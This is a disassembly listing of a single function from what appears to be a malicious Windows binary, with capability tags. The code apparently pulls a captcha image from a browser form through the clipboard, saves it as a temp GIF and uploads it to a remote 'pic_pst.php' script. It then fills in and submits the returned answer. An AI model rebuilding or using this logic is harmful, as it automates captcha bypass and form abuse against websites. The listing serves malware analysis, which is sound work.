Function at 0x406c56
Capabilities:
Delete file
Get common file path
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 4], 0
mov edx, dword [ebp + 8]
mov edx, dword [edx]
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [edx + 0x20]
cmp dword [ebp - 4], 0
je 0x406ee5
mov dword [ebp - 8], 0
mov edx, dword [ebp - 4]
mov edx, dword [edx]
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
call dword [edx + 0x24]
cmp dword [ebp - 8], 0
je 0x406eda
jmp 0x406ed0
dec dword [ebp - 8]
lea eax, [ebp - 0x28]
push eax
call sub.oleaut32.dll_VariantInit
mov word [ebp - 0x28], 3
mov eax, dword [ebp - 8]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc], 0
mov edx, dword [ebp - 4]
mov edx, dword [edx]
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 4]
call dword [edx + 0x2c]
cmp dword [ebp - 0xc], 0
je 0x406ed0
or eax, eax
jne 0x406ed0
mov edx, dword [ebp - 0xc]
mov edx, dword [edx]
lea eax, [ebp - 0x38]
push eax
push 0x4090b0
push dword [ebp - 0xc]
call dword [edx]
cmp dword [ebp - 0x38], 0
je 0x406d6e
mov edx, dword [ebp - 0x38]
mov edx, dword [edx]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x38]
call dword [edx + 0x30]
cmp dword [ebp - 0x14], 0
je 0x406d6e
push dword [ebp - 0x14]
call fcn.00402f9b
or eax, eax
je 0x406d66
mov dword [ebp - 0x18], eax
push str.ecode
push dword [ebp - 0x18]
call fcn.004026ef
or eax, eax
je 0x406d5e
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
push dword [ebp - 0x18]
call sub.KERNEL32.DLL_GlobalFree
push dword [ebp - 0x14]
call sub.oleaut32.dll_SysFreeString
mov edx, dword [ebp - 0xc]
mov edx, dword [edx]
lea eax, [ebp - 0x10]
push eax
push 0x4091e0
push dword [ebp - 0xc]
call dword [edx]
cmp dword [ebp - 0x10], 0
je 0x406ec5
mov edx, dword [ebp - 0x10]
mov edx, dword [edx]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
call dword [edx + 0x44]
cmp dword [ebp - 0x14], 0
je 0x406de6
push dword [ebp - 0x14]
call fcn.00402f9b
or eax, eax
je 0x406dde
mov dword [ebp - 0x18], eax
push str.ch_s.php
push dword [ebp - 0x18]
call fcn.004026ef
or eax, eax
je 0x406dd6
push str.Im_captcha_
push 0x42db96
call sub.KERNEL32.DLL_lstrcatA
mov dword [ebp - 0x2c], 1
push dword [ebp - 0x18]
call sub.KERNEL32.DLL_GlobalFree
push dword [ebp - 0x14]
call sub.oleaut32.dll_SysFreeString
cmp dword [ebp - 0x2c], 0
je 0x406eba
mov dword [ebp - 0x2c], 0
call sub.user32.dll_EmptyClipboard
mov edx, dword [ebp - 0x10]
mov edx, dword [edx]
lea eax, [ebp - 0x30]
push eax
push 0x4091c0
push dword [ebp - 0x10]
call dword [edx]
cmp dword [ebp - 0x30], 0
je 0x406eba
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
push 0
push 0
push 2
push 0xf
push 0x4091d0
push dword [ebp - 0x30]
call dword [edx + 0x10]
push 2
call sub.user32.dll_IsClipboardFormatAvailable
or eax, eax
je 0x406eba
push 0
call sub.user32.dll_OpenClipboard
push 2
call sub.user32.dll_GetClipboardData
or eax, eax
je 0x406eb5
mov dword [ebp - 0x34], eax
push 0x40b5b9
push 0x802
call sub.KERNEL32.DLL_GetTempPathA
push str.y37wyh9f8u3f.gif
push 0x40b5b9
call sub.KERNEL32.DLL_lstrcatA
push 0x40b5b9
call sub.KERNEL32.DLL_DeleteFileA
push 0x40b5b9
push dword [ebp - 0x34]
call fcn.00405076
push 0
push 0x1e
push 0x432df2
call fcn.00407690
push str.pic_pst.php
push 0x40b5b9
call fcn.004050f7
push dword [ebp - 0x34]
call sub.gdi32.dll_DeleteObject
push 0x40b5b9
call sub.KERNEL32.DLL_DeleteFileA
call sub.user32.dll_CloseClipboard
mov edx, dword [ebp - 0x10]
mov edx, dword [edx]
push dword [ebp - 0x10]
call dword [edx + 8]
mov edx, dword [ebp - 0xc]
mov edx, dword [edx]
push dword [ebp - 0xc]
call dword [edx + 8]
cmp dword [ebp - 8], 0
jne 0x406cb2
mov edx, dword [ebp - 4]
mov edx, dword [edx]
push dword [ebp - 4]
call dword [edx + 8]
cmp dword [ebp - 0x3c], 0
je 0x40700e
push str.Ins_
push 0x42db96
call sub.KERNEL32.DLL_lstrcatA
push 0x432df2
push 0x42db96
call sub.KERNEL32.DLL_lstrcatA
mov esi, 0x432df2
cmp dword [esi], 0x7c7c7c7c
jne 0x407003
add esi, 4
lea edi, [ebp - 0xa0]
jmp 0x406f2a
movsb byte es:[edi], byte [esi]
cmp byte [esi], 0x7c
je 0x406f34
cmp byte [esi], 0
jne 0x406f29
mov byte [edi], 0
inc esi
lea edi, [ebp - 0x104]
jmp 0x406f41
movsb byte es:[edi], byte [esi]
cmp byte [esi], 0x7c
je 0x406f4b
cmp byte [esi], 0
jne 0x406f40
mov byte [edi], 0
inc esi
lea edi, [ebp - 0x168]
jmp 0x406f58
movsb byte es:[edi], byte [esi]
cmp byte [esi], 0x7c
je 0x406f62
cmp byte [esi], 0
jne 0x406f57
mov byte [edi], 0
inc esi
lea eax, [ebp - 0x104]
push eax
call fcn.00403875
or eax, eax
je 0x406fa6
mov dword [ebp - 0x18], eax
push dword [ebp - 0x18]
call sub.oleaut32.dll_SysAllocString
or eax, eax
je 0x406f9e
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x3c]
mov edx, dword [edx]
push dword [ebp - 0x14]
push dword [ebp - 0x3c]
call dword [edx + 0x24]
push dword [ebp - 0x14]
call sub.oleaut32.dll_SysFreeString
push dword [ebp - 0x18]
call sub.KERNEL32.DLL_GlobalFree
push 0x1388
call sub.KERNEL32.DLL_Sleep
call fcn.00404114
push dword [0x425000]
call fcn.004052db
or eax, eax
jne 0x406fc8
leave
ret 4
mov edx, dword [ebp - 0x3c]
mov edx, dword [edx]
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x3c]
call dword [edx + 0x44]
mov edx, dword [ebp - 0x38]
mov edx, dword [edx]
push dword [ebp - 0x38]
call dword [edx + 0x60]
push str._Send_
push 0x42db96
call sub.KERNEL32.DLL_lstrcatA
mov dword [ebp - 0x2c], 1
mov edx, dword [ebp - 0x38]
mov edx, dword [edx]
push dword [ebp - 0x38]
call dword [edx + 8]
mov edx, dword [ebp - 0x3c]
mov edx, dword [edx]
push dword [ebp - 0x3c]
call dword [edx + 8]
mov eax, dword [ebp - 0x2c]
leave
ret 4